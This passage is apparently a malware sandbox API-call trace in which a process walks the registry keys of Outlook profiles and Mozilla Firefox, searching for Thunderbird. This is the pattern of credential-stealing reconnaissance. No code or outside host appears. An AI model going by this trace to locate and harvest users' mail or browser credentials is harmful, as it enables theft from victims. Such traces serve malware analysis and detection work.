lpName="00000003", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.005] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0xc, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ddb0922fc50b8d42be5a821ede840761", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.005] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0055.005] lstrlenA (lpString="\\") returned 1 [0055.005] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0055.005] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0055.005] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0055.005] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0055.005] lstrlenA (lpString="ddb0922fc50b8d42be5a821ede840761") returned 32 [0055.005] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0055.005] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0055.005] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="ddb0922fc50b8d42be5a821ede840761" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" [0055.005] LocalFree (hMem=0x74ae40) returned 0x0 [0055.005] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned 88 [0055.005] lstrlenA (lpString="") returned 0 [0055.005] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0055.005] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" [0055.005] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" [0055.005] LocalFree (hMem=0x9410768) returned 0x0 [0055.005] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0055.005] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.005] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0xd, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ee39677bbdea5143a837a52d64001c8f", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.005] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0055.005] lstrlenA (lpString="\\") returned 1 [0055.005] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0055.005] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0055.005] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0055.005] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0055.005] lstrlenA (lpString="ee39677bbdea5143a837a52d64001c8f") returned 32 [0055.005] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0055.005] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0055.005] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="ee39677bbdea5143a837a52d64001c8f" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f" [0055.005] LocalFree (hMem=0x74ae40) returned 0x0 [0055.005] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f") returned 88 [0055.005] lstrlenA (lpString="") returned 0 [0055.005] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0055.005] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f" [0055.005] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f" [0055.005] LocalFree (hMem=0x9410850) returned 0x0 [0055.005] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0055.006] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.006] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0xe, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.006] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0055.006] lstrlenA (lpString="\\") returned 1 [0055.006] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0055.006] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0055.006] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0055.006] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0055.006] lstrlenA (lpString="f86ed2903a4a11cfb57e524153480001") returned 32 [0055.006] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0055.006] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0055.006] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="f86ed2903a4a11cfb57e524153480001" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" [0055.006] LocalFree (hMem=0x74ae40) returned 0x0 [0055.006] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned 88 [0055.006] lstrlenA (lpString="") returned 0 [0055.006] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0055.006] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" [0055.006] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" [0055.006] LocalFree (hMem=0x9410768) returned 0x0 [0055.006] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0055.006] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.006] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0xf, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.006] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", phkResult=0xefd54 | out: phkResult=0xefd54*=0x0) returned 0x2 [0055.006] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.006] IStream:LockRegion (This=0x7473d8, libOffset=0x158, cb=0x0, dwLockType=0x0) returned 0x0 [0055.006] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0055.006] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.006] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0055.006] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0055.006] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0055.006] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc50) returned 0x0 [0055.006] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc64) returned 0x0 [0055.006] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc68) returned 0x0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0xefc6f | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0055.006] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0055.006] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0055.006] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0xefc4c | out: phkResult=0xefc4c*=0x3e4) returned 0x0 [0055.007] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x0, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.007] lstrlenA (lpString="Software\\Mozilla") returned 16 [0055.007] lstrlenA (lpString="\\") returned 1 [0055.007] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x763a18 [0055.007] lstrcpyA (in: lpString1=0x763a18, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0055.007] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.007] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0055.007] lstrlenA (lpString="Firefox") returned 7 [0055.007] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x759000 [0055.007] lstrcpyA (in: lpString1=0x759000, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.007] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0055.007] LocalFree (hMem=0x763a18) returned 0x0 [0055.007] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0055.007] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0055.007] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x3e0) returned 0x0 [0055.007] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.007] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0055.007] lstrlenA (lpString="\\") returned 1 [0055.007] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758cb8 [0055.007] lstrcpyA (in: lpString1=0x758cb8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0055.007] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.007] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0055.007] lstrlenA (lpString="Crash Reporter") returned 14 [0055.007] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x755110 [0055.007] lstrcpyA (in: lpString1=0x755110, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.007] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0055.007] LocalFree (hMem=0x758cb8) returned 0x0 [0055.007] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Thunderbird") returned 0x0 [0055.007] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.007] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.007] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.007] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.007] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0055.007] lstrlenA (lpString="\\") returned 1 [0055.007] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758cb8 [0055.007] lstrcpyA (in: lpString1=0x758cb8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0055.007] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.007] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0055.007] lstrlenA (lpString="TaskBarIDs") returned 10 [0055.007] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x755110 [0055.007] lstrcpyA (in: lpString1=0x755110, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.007] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0055.007] LocalFree (hMem=0x758cb8) returned 0x0 [0055.008] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0055.008] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.008] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.008] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.008] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x2, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.008] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x1, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.008] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0055.008] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0055.008] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0xefc4c | out: phkResult=0xefc4c*=0x3e4) returned 0x0 [0055.008] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x0, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.008] lstrlenA (lpString="Software\\Mozilla") returned 16 [0055.008] lstrlenA (lpString="\\") returned 1 [0055.008] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x763a18 [0055.008] lstrcpyA (in: lpString1=0x763a18, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0055.008] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.008] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0055.008] lstrlenA (lpString="Firefox") returned 7 [0055.008] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x759000 [0055.008] lstrcpyA (in: lpString1=0x759000, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.008] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0055.008] LocalFree (hMem=0x763a18) returned 0x0 [0055.008] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0055.008] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0055.008] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x3e0) returned 0x0 [0055.008] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.008] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0055.008] lstrlenA (lpString="\\") returned 1 [0055.008] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758cb8 [0055.008] lstrcpyA (in: lpString1=0x758cb8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0055.008] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.008] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0055.008] lstrlenA (lpString="TaskBarIDs") returned 10 [0055.008] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x755110 [0055.008] lstrcpyA (in: lpString1=0x755110, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.008] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0055.008] LocalFree (hMem=0x758cb8) returned 0x0 [0055.009] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0055.009] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.009] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.009] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.009] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.009] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x1, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.009] lstrlenA (lpString="Software\\Mozilla") returned 16 [0055.009] lstrlenA (lpString="\\") returned 1 [0055.009] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x763a18 [0055.009] lstrcpyA (in: lpString1=0x763a18, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0055.009] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.009] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0055.009] lstrlenA (lpString="Mozilla Firefox") returned 15 [0055.009] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x755110 [0055.009] lstrcpyA (in: lpString1=0x755110, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.009] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0055.009] LocalFree (hMem=0x763a18) returned 0x0 [0055.009] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Thunderbird") returned 0x0 [0055.009] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0055.009] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x3e0) returned 0x0 [0055.009] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.009] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0055.009] lstrlenA (lpString="\\") returned 1 [0055.009] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x754f00 [0055.009] lstrcpyA (in: lpString1=0x754f00, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0055.009] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0055.009] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0055.009] lstrlenA (lpString="25.0 (en-US)") returned 12 [0055.009] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 